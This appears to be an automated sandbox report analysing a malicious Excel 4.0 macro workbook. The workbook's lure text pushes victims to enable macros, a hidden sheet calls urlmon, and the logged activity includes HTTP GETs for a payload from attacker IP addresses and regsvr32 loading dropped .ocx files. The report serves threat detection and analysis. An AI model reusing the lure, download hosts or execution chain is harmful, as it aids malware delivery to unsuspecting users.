Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://www.odwebp.svc.msm
Source: global traffic HTTP traffic detected: GET /44532.8765170139.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.101Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /44532.8765170139.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.138.164.244Connection: Keep-Alive

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 8 Screenshot OCR: Enable editing" in the yellow t: above. example of notification ( O PROTECTEDWARNING Thisfileoriq
Source: Screenshot number: 12 Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 PROTECTEDWARNING This fileor
Source: Screenshot number: 12 Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Screenshot number: 12 Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Found malicious Excel 4.0 Macro
Source: ComplaintDetails-1244065104-Nov-17.xlsb Macro extractor: Sheet: Tiposa contains: urlmon
Found Excel 4.0 Macro with suspicious formulas
Source: ComplaintDetails-1244065104-Nov-17.xlsb Initial sample: EXEC
Found protected and hidden Excel 4.0 Macro sheet
Source: ComplaintDetails-1244065104-Nov-17.xlsb Initial sample: Sheet name: Tiposa
Found a hidden Excel 4.0 Macro sheet
Source: ComplaintDetails-1244065104-Nov-17.xlsb Macro extractor: Sheet name: Tiposa
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: ComplaintDetails-1244065104-Nov-17.xlsb Virustotal: Detection: 45%
Source: ComplaintDetails-1244065104-Nov-17.xlsb ReversingLabs: Detection: 39%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot1.ocx
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot2.ocx
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot3.ocx
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot1.ocx Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot2.ocx Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe ..\Tot3.ocx Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\{31E3DD13-27F4-4AF2-B8C7-B4E0D1E302FA} - OProcSessId.dat Jump to behavior
Source: classification engine Classification label: mal92.expl.evad.winXLSB@7/6@0/3
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: ComplaintDetails-1244065104-Nov-17.xlsb Initial sample: OLE zip file path = xl/media/image1.jpg
Source: 74E50000.0.dr Initial sample: OLE zip file path = xl/media/image1.jpg
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: EXCEL.EXE, 00000000.00000003.975696190.000000000F06B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885647644.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.981208591.000000000F1DD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847975213.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846255300.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980076150.000000000D342000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844416194.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792485042.000000000F06B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831097554.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980824455.000000000F06B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830040701.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728182877.000000000F1D8000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792243288.000000000F1D8000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

HIPS / PFW / Operating System Protection Evasion:

barindex
Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
Source: EXCEL.EXE, 00000000.00000002.978109379.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: EXCEL.EXE, 00000000.00000002.978109379.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.978109379.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: EXCEL.EXE, 00000000.00000002.978109379.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 532936 Sample: ComplaintDetails-1244065104... Startdate: 02/12/2021 Architecture: WINDOWS Score: 92 27 Multi AV Scanner detection for domain / URL 2->27 29 Multi AV Scanner detection for submitted file 2->29 31 Found malicious Excel 4.0 Macro 2->31 33 5 other signatures 2->33 6 EXCEL.EXE 26 36 2->6         started        process3 dnsIp4 21 190.14.37.101, 49768, 80 OffshoreRacksSAPA Panama 6->21 23 185.81.114.236, 80 HZ-NL-ASGB United Kingdom 6->23 25 185.138.164.244, 49770, 80 DEPTELECOMNSO-ASRU Germany 6->25 17 ~$ComplaintDetails...4065104-Nov-17.xlsb, data 6->17 dropped 19 ComplaintDetails-1...-Nov-17.xlsb (copy), Microsoft 6->19 dropped 35 Document exploit detected (UrlDownloadToFile) 6->35 11 regsvr32.exe 6->11         started        13 regsvr32.exe 6->13         started        15 regsvr32.exe 6->15         started        file5 signatures6 process7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
190.14.37.101
 unknown Panama
52469 OffshoreRacksSAPA false
185.138.164.244
 unknown Germany
50451 DEPTELECOMNSO-ASRU false
185.81.114.236
 unknown United Kingdom
59711 HZ-NL-ASGB false